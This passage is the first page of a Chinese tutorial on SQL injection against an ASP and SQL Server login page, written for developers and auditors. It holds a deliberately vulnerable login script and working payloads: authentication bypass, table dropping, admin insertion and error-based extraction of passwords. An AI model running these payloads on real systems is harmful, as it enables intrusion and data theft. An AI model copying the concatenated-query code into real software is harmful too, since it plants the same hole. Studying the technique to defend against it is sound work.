这篇文章面向两种读者:一是基于数据库web程序开发人员和审核各种web程序的安全专家。
[介 绍]
结构化查询语言(SQL)是一种用来和数据库交互的文本语言SQL语言多种多样,大多的方言版本都共同宽松地遵循SQL-92标准(最新的ANSI标准[译者注:目前最新的是SQL-99])。SQL运行的典型的操作是“查询”,它是可以让数据库返回“查询结果记录集”的语句集合。SQL语句可以修改数据库的结构(用数据定义语言"DDL")和操作数据库里的数据(用数据操作语言"DML")。我们在这里着重讨论Transact-SQL(交互式SQL),应用于SQL-Server的SQL一种方言(非标准SQL)。
如果攻击者可以插一系列的SQL语句进入应用程序的数据查询时,Sql注入攻击就可能发生。
一个典型的SQL语句是这样的:
select id, forename, surname from authors
这个查询语句将会从'authors'表中返回'id','forename'和'surname'列的所有行。返回的结果集也可以加以特定条件'author'限制:
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
注意这里很重要的一点是'john'和'smith'是被单引号引住的,假设'forename'和'surname'字段是来自于用户的输入,攻击者就可能通过输入非法字符串来对这个查询进行SQL注入:
Forename:jo'hn
Surname: smith
查询语句就会变成:
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
当数据库试图执行这个查询,它会返回这样的错误:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
这是因为插入的单引号破坏了原来单引号引住的数据,数据库执行到'hn'时失败。如果攻击者这样输入:
Forename: jo'; drop table authors--
Surname:
...authors表就会被删掉,原因过一会再解释。
似乎通过删除用户输入的字符串中的单引号或者通过一些方法避免它们出现可以解决这个问题。诚然如此,但是要实施这个解决方法还有很多的困难。因为首先:不是所有的用户提交的数据都是字符串形式,比如我们的用户输入通过'id'(看上去是个数字)来选择一个用户,我们的查询可能会这样:
select id,forename,surname from authors where id=1234
在这种情况下攻击者可以轻易的在数值输入后面添加SQL语句。在其他SQL方言中,使用着各种分隔符,比如MS Jet DBMS引擎,日期可以用'#'符号来分隔。
其次,避免单引号并不像开始我们想象的那样是必要的解决办法,原因下面讨论。
我们将以Active Server Pages(ASP)登陆页面为例子来详细说明,它访问一个Sql-Server数据库并且验证一个到我们假想的程序的访问。
这是用户填写用户名和密码的表单页面:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>
这是'process_login.asp'的代码, 它处理用户登陆:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%><FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACCESS GRANTED<BR>
<BR>
Welcome,
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>
这里讨论的是'process_login.asp'中的创建'query string'的部分:
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
如果用户指定了下面这样的数据:
Username: '; drop table users--
Password:
'users'表会被删除,所有用户都不能登陆。'--'是Transact-SQL(交互式SQL)的单行注释符,';'标志着一个查询的结束另一个查询的开始。用户名最后的'--'用来使这个特殊的查询无错误结束。
攻击者只要知道用户名,就可以通过以下的输入以任何用户的身份登陆:
Username: admin'--
攻击者可以通过下面的输入以用户表里的第一个用户来登陆:
Username: ' or 1=1--
...更有甚者,攻击者通过以下的输入可以以任意虚构的用户登陆:
Username: ' union select 1, 'fictional_user', 'somoe_password', 1--
因为程序相信攻击者指定的常量是数据库返回的记录集的一部分。
[通过错误信息获取信息]
这个技术是David Litchfield在一次渗透入侵测试中首先发现的,后来david写了篇关于这个技术的文章,很多作者都参考过这篇作品。这里我们讨论“错误消息”技术潜在的机制,使读者可以充分理解它并且能灵活应用。
为了操作数据库里的数据,攻击者要确定某个数据库的结构。例如:我们的"user"表是用下面的语句建立的:
create table users( id int,
username varchar(255),
password varchar(255),
privs int
)
并且插入了下面的用户:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
我们假设攻击者要为自己插入一个用户,如果不知道表的结构的话,他不可能成功。即使他运气好,'priv'字段的重要性还不清楚。攻击者可能插入'1',给自己在程序里添加了一个低权限的用户,而他的目标是管理员的权限。
对于攻击者来说幸运的是:如果程序返回错误(asp默认如此),攻击者可以猜测整个数据库的结构,读取ASP程序连接到SQL-Server的帐号权限内可以读取的任何值。
(下面给出的使用上面提供的示例数据库和asp脚本来说明这些技术怎样实现的)
首先,攻击者要确定查询的表名和字段名。要做到这点,攻击者可以使用'select'语句的'having'子句:
username: ' having 1=1 --
这会引起下面的错误(译者注:having字句必须和GROUP BY或者聚合函数一起配合使用,否则出错):
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35
所以攻击者就知道了表名和第一列的列名,他们可以通过给每列加上'group by'子句继续得到其他列名,如下:
username: ' group by users.id having 1=1 --
(结果产生这样的错误)
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username'
is invalid in the select list because it is not contained in either an
aggregate function or the GROUP BY clause.
/process_login.asp, line 35
最后攻击者得到了下面的'username':
' group by users.id, users.username, users.password, users.privs having 1=1--
这句没有错误,相当于:
select * from users where username = ''
所以攻击者知道了查询只是关于'users'表的,并且顺序使用了列'id,username,password,rpivs'。
如果攻击者能确定各列的数据类型将会很有用,可以利用类型转换错误信息来达到这一点,看下面的例子:
Username: ' union select sum(username) from users--
这利用了SQL-Server试图在确定两行是否相同之前先执行'sum'子句的特性,计算文本域的和会返回这样的信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
它告诉我们'username'字段的类型是'varchar'。相反的,如果我们试图计算数值型的字段,但结果两行的列数并不匹配:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
我们可以用这个技术来大概地确定数据库内各列的类型。
这样攻击者就可以写出一个格式完美的'insert'语句:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
但是,这个技术的潜力不止这些。攻击者可以利用任何错误信息来暴露系统环境或者数据库信息。执行下面的语句可以得到一个标准错误信息的清单:
select * from master..sysmessages
检查这个清单可以发现很多有趣的信息。
一个特别有用的信息有关类型转换,如果你试图将一个字符串转换成整型,整个字符串的内容将会出现在错误信息里。以我们登陆页的例子来说,使用下面的'username'将会返回SQL-Server的版本以及它所在服务器操作系统的版本信息:
Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.
/process_login.asp, line 35
这试图将内置常量'@@version'转换成整型,因为'users'表第一列是整数。
这个技术可以用来读取任何数据库的任何表的任何内容,如果攻击者对用户名和密码感兴趣,他们就可以从'users'表读用户名:
Username: ' union select min(username),1,1,1 from users where username > 'a'--
这将选出比'a'大的最小用户名,而且试图将它转换成一个整数:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
攻击者就知道'admin'帐号存在,他现在可以把他发现的用户名放进'where'子句来反复测试这行:
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
一旦攻击者确定了用户名,他就可以搜集密码;
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
一个更“别致”的技术是将用户名和密码连接成一个单独的字符传,然后试图将它转换成整型。这将举另一种例子;Transact-SQL语句可以将字符串连接成一行而不改变他们的意义,下面的脚本将连接这些值:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end
当前1/2页12下一页阅读全文